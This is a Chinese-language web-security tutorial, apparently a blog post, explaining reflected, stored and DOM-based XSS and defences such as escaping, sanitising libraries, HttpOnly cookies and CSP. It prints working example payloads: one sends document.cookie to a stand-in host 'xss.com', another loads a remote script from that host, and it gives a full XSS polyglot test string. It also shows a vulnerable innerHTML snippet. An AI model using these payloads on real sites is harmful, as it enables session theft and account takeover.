XSS
安全 xss 前端安全
跨站脚本攻击(Cross Site Script),本来缩写是 CSS, 但是为了和层叠样式表(Cascading Style Sheet, CSS)有所区分,所以叫做 XSS
XSS 攻击,通常是指攻击者通过 HTML 注入 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,对用户的浏览器进行控制或者获取用户的敏感信息(Cookie, SessionID 等)的一种攻击方式。
页面被注入了恶意 JavaScript 脚本,浏览器无法判断区分这些脚本是被恶意注入的,还是正常的页面内容,所以恶意注入 Javascript 脚本也拥有了所有的脚本权限。如果页面被注入了恶意 JavaScript 脚本,它可以做哪些事情呢?
- 可以窃取 cookie 信息。恶意 JavaScript 可以通过
document.cookie获取 cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的cookie信息之后,就可以在其他电脑上模拟用户的登陆,然后进行转账操作。 - 可以监听用户行为。恶意 JavaScript 可以使用
addEventListener接口来监听键盘事件,比如可以获取用户输入的银行卡等信息,又可以做很多违法的事情。 - 可以修改 DOM。比如伪造假的登陆窗口,用来欺骗用户输入用户名和密码等信息。
- 可以在页面内生成浮窗广告,这些广告会严重影响用户体验。
XSS 攻击可以分为三类:反射型,存储型,基于 DOM 型(DOM based XSS)
1.反射型
反射型 XSS 是一种非持久型 xss 攻击,依赖于服务器对恶意请求的反射,仅对当次的页面访问产生影响。该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
常见于通过 URL 传递参数的功能,如网站搜索、跳转等场景。
其典型攻击步骤是:
- 攻击者构造出包含恶意代码的特殊的 URL
- 用户登陆后,访问带有恶意代码的 URL
- 服务端取出 URL 上的恶意代码,拼接在 HTML 中返回浏览器
- 用户浏览器收到响应后解析执行混入其中的恶意代码
- 窃取敏感信息/冒充用户行为,完成 XSS 攻击
例如,在某网站 URL 上有 keyword 参数,表示搜索的关键字,例如:
https://www.xiejunyi.com/search?keyword=xxx
表示 xxx 作为关键字搜索,后台在模版中直接插入 xxx 拼接 html,然后返给浏览器,打开后会将这串字符显示在页面某个位置上。
如果没有做处理,那么我们就可以在 keyword 后面插入一些恶意代码,如:
https://www.xiejunyi.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
接下来引导用户去点击这个链接,比如将恶意链接通过邮件、评论等方式直接发送给受信任用户,用户打开后,就会执行
<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
而把自己本地的 cookie 发送到 http://xss.com/ 上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。
2.存储型
存储型 XSS 是一种持久型 xss,攻击者的数据会存储在服务端,攻击行为将伴随着攻击数据一直存在。
其典型攻击步骤是:
- 攻击者将恶意代码提交到目标网站的数据库中
- 用户登陆后,访问相关页面 URL
- 服务端从数据库中取出恶意代码,拼接在 HTML 中返回浏览器
- 用户浏览器收到响应后解析执行混入其中的恶意代码
- 窃取敏感信息/冒充用户行为,完成 XSS 攻击
比较常见的一个场景就是,攻击者在社区或论坛写下一篇包含恶意 JavaScript 代码的博客文章或评论,文章或评论发表后,所有访问该博客文章或评论的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码,比如:
66666
<script>
// 这里做一些攻击操作
alert('XSS')
</script>
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,后台从数据库查出该评论的数据详情,然后在模版中直接插入,拼接 html 返给浏览器,就会弹出弹窗。
3.基于 DOM 或本地 XSS(DOM-based or local XSS)
DOM 型 XSS 攻击,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
页面 JS 获取数据后不做甄别,直接操作 DOM。一般见于从 URL、cookie、LocalStorage 中取内容的场景。
基于 DOM 攻击大致需要经历以下几个步骤
- 攻击者构造出特殊的 URL,其中包含恶意代码
- 用户打开带有恶意代码的 URL
- 用户浏览器接受到响应后执行解析,前端 JavaScript 取出 URL 中的恶意代码并执行
- 恶意代码窃取用户数据并发送到攻击者的网站,冒充用户行为,调用目标网站接口执行攻击者指定的操作。
亦或者是 黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。
与反射型 XSS 不同的就是:DOM 型 XSS 不需要通过服务端。
例如,在某网站 URL 上有 title 参数,表示文章的标题,例如:
https://www.xiejunyi.com/search?title=标题1
前端代码如下:
<script>
// 获取url中title的数据,放入html中
function getTitle() {
var search = window.location.search
var r = new RegExp("(\\?|#|&)"+"title"+"=([^&#]*)(&|#|$)")
var title = decodeURI(r.exec(search)?r.exec(search)[2]:'') // 获取title对应的值
document.getElementById('title').innerHTML = title
}
getTitle()
</script>
整个取出数据和处理数据都是由前端完成。正常情况下会显示正确的值,但是如果我把 url 改成
https://www.xiejunyi.com?title=%3Cscript%20src=%22http://xss.com/xss.js%22%3E%3C/script%3E
页面就会加载http://xss.com/xss.js这个 js,包含获取 cookie 等恶意代码。
XSS 防御
针对反射和存储型 XSS
存储型和反射型 XSS 都是在后端取出恶意代码后,插入到响应 HTML 里的,预防这种漏洞主要是关注后端的处理。
1. 后端设置白名单,净化数据
后端对于保存/输出的数据要进行过滤和转义,过滤的内容:比如 location、onclick、onerror、onload、onmouseover 、 script 、href、 eval、setTimeout、setInterval 等,常见框架:bluemonday,jsoup 等
// jsoup官网案例
String unsafe = "<p><a href='http://example.com/' onclick='stealCookies()'>Link</a></p>";
String safe = Jsoup.clean(unsafe, Whitelist.basic());
// now: <p><a href="http://example.com/" >Link</a></p>
2. 避免拼接 HTML,采用纯前端渲染
浏览器先加载一个静态 HTML,后续通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。纯前端渲染还需注意避免 DOM 型 XSS 漏洞。
针对 DOM 型 XSS
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
1. 谨慎对待展示数据
谨慎使用.innerHTML、.outerHTML、document.write() ,不要把不可信的数据作为 HTML 插到页面上。 DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,< a> 标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行,很容易产生安全隐患,谨慎处理传递给这些 API 的字符串。
2. 数据充分转义,过滤恶意代码
需要根据具体场景使用不同的转义规则,前端插件 xss.js,DOMPurify
| 放置位置 | 例子 | 采取的编码 | 编码格式 |
|---|---|---|---|
| HTML 标签之间 | 不可信数据 | HTML Entity 编码 | & –> & ; < –> < ;> –> > ;” –> ”‘ –> ’ ;/ –> / ; |
| HTML 标签的属性 | <input type=”text”value=” 不可信数据 ” /> | HTML Attribute 编码 | &#xHH |
| JavaScript | JavaScript 编码 | \xHH | |
| CSS | <div style=” width: 不可信数据 ” > … </ div> | CSS 编码 | \HH |
| URL 参数中 | <a href=”/page?p= 不可信数据 ” >…< /a> | URL 编码 | %HH |
编码规则:除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的 ASCII 码小于 256。编码后输出的格式为以上编码格式 (以 &#x、\x 、\、% 开头,HH 则是指该字符对应的十六进制数字)
3. 使用插值表达式
采用 vue/react/angular 等技术栈时,使用插值表达式,避免使用v-html。因为template转成render function的过程中,会把插值表达式作为Text文本内容进行渲染。在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。
比如:
<div class="a"><span>{{item}}</span></div>
最终生成的代码如下:
"with(this){return _c('div',{staticClass:"a"},[_c('span',[_v(_s(item))])])}"
其中_c 是 createElement 简写,即 render 函数,_v 是 createTextVNode 的简写,创建文本节点,_s 是 toString 简写。
这里顺便说一下 v-text 和 v-html的主要区别:
v-text 实际上是改变了元素的textContent属性,而v-html改变的元素的innerHtml 属性,所以v-html可以渲染出html元素,也就可能会导致XSS攻击。
其他措施
1. 设置 Cookie HttpOnly
由于很多 XSS 攻击都是来盗用Cookie的,因此可以通过使用HttpOnly属性来防止直接通过 document.cookie 来获取 cookie。
一个 Cookie 的使用过程如下:
- 浏览器向服务器发起请求,这时候没有
Cookie - 服务器返回时设置
Set-Cookie头,向客户端浏览器写入Cookie - 在该
Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie
HttpOnly是在 Set-Cookie时标记的:
通常服务器可以将某些 Cookie 设置为 HttpOnly 标志,HttpOnly 是服务器通过 HTTP 响应头来设置的。
const login = (ctx) => {
// 简单设置一个cookie
ctx.cookies.set("cid", "hello world", {
domain: "localhost", // 写cookie所在的域名
path: "/home", // 写cookie所在的路径
maxAge: 10 * 60 * 1000, // cookie有效时长
expires: new Date("2022-10-30"), // cookie失效时间
httpOnly: true, // 是否只用于http请求中获取
overwrite: false, // 是否允许重写
});
};
需要注意的一点是:HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 Cookie 劫持攻击。
2. 设置 CSP(Content Security Policy)
CSP 的实质就是设置浏览器白名单,告诉浏览器哪些外部资源可以加载和执行,自动禁止外部注入恶意脚本。 CSP 可以通过两种方式来开启 :
1. 设置 html 的 meta 标签的方式
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self' *.xiejunyi.com ; style-src 'self' ;"
/>
2. 设置 HTTP Header 中的 Content-Security-Policy
Content-Security-Policy: script-src 'self' *.xiejunyi.com ; style-src 'self' ;
上述代码描述的 CSP 规则是 js 脚本 只能来自当前域名和xiejunyi.com二级域名下,css 只能来自当前域名 。
CSP 可以限制加载资源的类型:
| 类型 | 说明 |
|---|---|
| script-src | 外部脚本 |
| style-src | 样式表 |
| img-src | 图像 |
| media-src | 媒体文件(音频和视频) |
| object-src | 插件(比如 Flash) |
| child-src | 框架 |
| frame-ancestors | 嵌入的外部资源(比如< frame>、< iframe>、< embed>和< applet>) |
| connect-src | HTTP 连接(通过 XHR、WebSockets、EventSource 等) |
| worker-src | worker 脚本 |
| manifest-src | manifest 文件 |
| default-src | 用来设置上面各个选项的默认值 |
同时也可设置资源的限制规则:
| 规则 | 说明 | | ---------------- | ------------------------------------------------------------------------------------------- | -------------------------------- | | 主机名 | example.org,https://example.com:443 | | 路径名 | example.org/resources/js/ | | 通配符 | .example.org,://*.example.com:*(表示任意协议、任意子域名、任意端口) | | 协议名 | https:、data: | | ‘self’ | 当前域名,需要加引号 | | | ‘none’ | 禁止加载任何外部资源,需要加引号 | | ‘unsafe-inline’ | 允许执行页面内嵌的<script> 标签和事件监听函数 | | ‘unsafe-eval’ | 允许将字符串当作代码执行,比如使用 eval、setTimeout、setInterval 和 Function 等函数 |
3. 输入内容长度、类型的控制
对于不受信任的输入,都应该限定一个合理的长度,并且对输入内容的合法性进行校验(例如输入 email 的文本框只允许输入格式正确的 email,输入手机号码的文本框只允许填入数字且格式需要正确)。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。
4.验证码,防止脚本冒充用户提交危险操作
如何检测
目前主要 2 种方式检测项目的 XSS 漏洞:
1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞
在Unleashing an Ultimate XSS Polyglot一文中,有这么一个字符串:
jaVasCript: /*-/*`/*\`/*'/*"/**/ /* */ oNcliCk = alert(); //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能够检测到存在于 HTML 属性、HTML 文字内容、跳转链接、内联 JavaScript 字符串等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞。只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
2. 使用扫描工具自动检测 XSS 漏洞(BeEF、w3af 、 noXss 等)
大部分扫描工具是利用动态检测思想:寻找目标应用程序中所有可能出现漏洞的地方,包括表单中的输入框、富文本、密码等,然后构造特殊攻击字符串作为输入,模拟触发事件向服务器提交请求,然后获取服务器的 HTTP 相应,并在其中寻找之前构造的字符串,如果可以找到,说明服务器网页没有对输入过滤,也就是存在 XSS 漏洞。